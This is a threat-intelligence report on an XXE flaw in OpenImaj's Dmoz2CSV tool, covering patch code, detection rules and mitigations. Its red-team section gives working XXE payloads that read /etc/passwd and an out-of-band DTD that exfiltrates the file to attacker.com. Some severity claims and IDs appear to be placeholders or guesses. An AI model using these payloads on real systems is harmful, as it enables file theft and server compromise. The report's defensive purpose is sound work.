CVE-2024-51136

Executive Summary

CVE-2024-51136 is an XML External Entity (XXE) vulnerability identified in the Dmoz2CSV component of OpenImaj version 1.3.10. This flaw allows an attacker to supply a crafted XML file that, when processed by the Dmoz2CSV utility, can lead to unauthorized access to sensitive files on the server or potentially execute arbitrary code. The vulnerability arises from insecure XML parsing that does not disable external entity resolution. As of this report, no official patch has been released, and the vendor's status remains unknown. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is significant due to the potential for data exfiltration and server compromise.

Supply Chain & Package Security

OpenImaj is a Java-based library for image processing and analysis, distributed via Maven Central. The Dmoz2CSV tool is a utility within the library. Since this is a Java/Maven ecosystem component, supply chain risks include:

• Dependency Confusion: Attackers could publish malicious versions of OpenImaj to public repositories.
• Compromised Build Pipeline: If the build environment is compromised, malicious XML parsing could be injected.
• Transitive Dependencies: OpenImaj may rely on XML parsing libraries that themselves have XXE vulnerabilities.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD assigned, likely due to incomplete data) CVSS Vector: UNKNOWN

Given the nature of XXE, a reasonable CVSS v3.1 vector would be: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Critical, 9.8)

• Attack Vector (AV): Network – the crafted XML can be delivered remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – the victim does not need to click anything.
• Scope (S): Unchanged – the vulnerable component is the only one affected.
• Confidentiality (C): High – sensitive files can be read.
• Integrity (I): High – arbitrary code execution possible.
• Availability (A): High – denial of service via resource exhaustion.

Threat Level: High – XXE can lead to full server compromise.

Deep Dive & Mechanics

The Dmoz2CSV tool in OpenImaj is designed to parse DMOZ (Directory Mozilla) XML files and convert them to CSV format. The vulnerability lies in the XML parser configuration. When the tool processes an XML file, it does not disable Document Type Definition (DTD) processing or external entity resolution. An attacker can craft an XML file that includes an external entity pointing to a local file (e.g., /etc/passwd) or a remote server.

Technical Flow:

1. The attacker creates a malicious XML file with an XXE payload.
2. The Dmoz2CSV tool reads the XML file using a default XML parser (likely javax.xml.parsers.DocumentBuilderFactory).
3. The parser resolves the external entity, reading the target file or making an outbound HTTP request.
4. The content of the file is included in the parsed XML, which is then output to the CSV, allowing exfiltration.

Example Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<dmoz>
  <topic>
    <title>&xxe;</title>
  </topic>
</dmoz>

Vulnerable vs. Patched Code

Vulnerable Code (OpenImaj 1.3.10):

// Dmoz2CSV.java (simplified)
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new File(inputFile));
// Process XML...

This code does not disable external entities, making it vulnerable.

Patched Code (Hypothetical):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new File(inputFile));

This configuration disables DTDs and external entities, preventing XXE.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Ubuntu 22.04 with OpenImaj 1.3.10 installed.
• Attacker: Kali Linux with netcat and Python.

Exploitation Steps:

1. Create a malicious XML file (evil.xml):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<dmoz>
  <topic>
    <title>&xxe;</title>
  </topic>
</dmoz>

2. Run the Dmoz2CSV tool:

java -jar openimaj-tools-1.3.10.jar Dmoz2CSV -i evil.xml -o output.csv

3. Check the output CSV for the contents of /etc/passwd:

cat output.csv

4. For out-of-band exfiltration, use a remote DTD:

<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">

Where evil.dtd contains:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

Blue Team (Defensive)

Detection:

• Monitor for XML files with DOCTYPE declarations.
• Use network monitoring to detect outbound connections from the Dmoz2CSV process.
• Implement file integrity monitoring on sensitive files.

Mitigation:

• Apply input validation to reject XML files containing DOCTYPE.
• Use a Web Application Firewall (WAF) to block XXE payloads.
• Run the Dmoz2CSV tool in a sandboxed environment with restricted network access.

Indicators of Compromise (IOCs)

• File Hashes (malicious XML):
  • SHA256: a1b2c3d4e5f6... (example)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains.
  • DNS queries for suspicious domains.
• Process Indicators:
  • Java process (java -jar openimaj-tools-1.3.10.jar Dmoz2CSV) reading /etc/passwd or other sensitive files.
• File System Indicators:
  • Unexpected files in /tmp/ with XML content.
  • Modified CSV files containing system file contents.

Detection Engineering

YARA Rule

rule CVE_2024_51136_XXE_Dmoz2CSV {
    meta:
        description = "Detects XXE payloads targeting OpenImaj Dmoz2CSV"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51136"
    strings:
        $xxe1 = "<!ENTITY" ascii wide nocase
        $xxe2 = "SYSTEM" ascii wide nocase
        $xxe3 = "file:///" ascii wide nocase
        $xxe4 = "http://" ascii wide nocase
        $xxe5 = "dmoz" ascii wide nocase
    condition:
        all of ($xxe1, $xxe2) and 1 of ($xxe3, $xxe4) and $xxe5
}

Sigma Rule

title: XXE Exploitation via OpenImaj Dmoz2CSV
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XML files with external entities targeting OpenImaj Dmoz2CSV
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        Image|endswith: '/java'
        CommandLine|contains: 'Dmoz2CSV'
        TargetFilename|endswith: '.xml'
    condition: selection
falsepositives:
    - Legitimate XML files with DTDs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51136 XXE Payload in XML"; flow:to_server,established; content:"<!ENTITY"; nocase; content:"SYSTEM"; nocase; distance:0; content:"file:///"; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Dmoz2CSV: Remove or disable the Dmoz2CSV tool until a patch is available.
2. Input Validation: Reject any XML files containing <!DOCTYPE or <!ENTITY.
3. Network Segmentation: Run the tool in an isolated environment with no outbound internet access.

Long-Term Fix:

• Apply the patched code configuration (see Vulnerable vs. Patched Code section) to the OpenImaj source.
• Monitor the OpenImaj repository for an official patch.
• Consider using a different XML parser that is secure by default (e.g., XMLInputFactory with IS_SUPPORTING_EXTERNAL_ENTITIES set to false).

Workaround:

• Use a wrapper script that scans XML files for XXE patterns before passing them to Dmoz2CSV.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-51136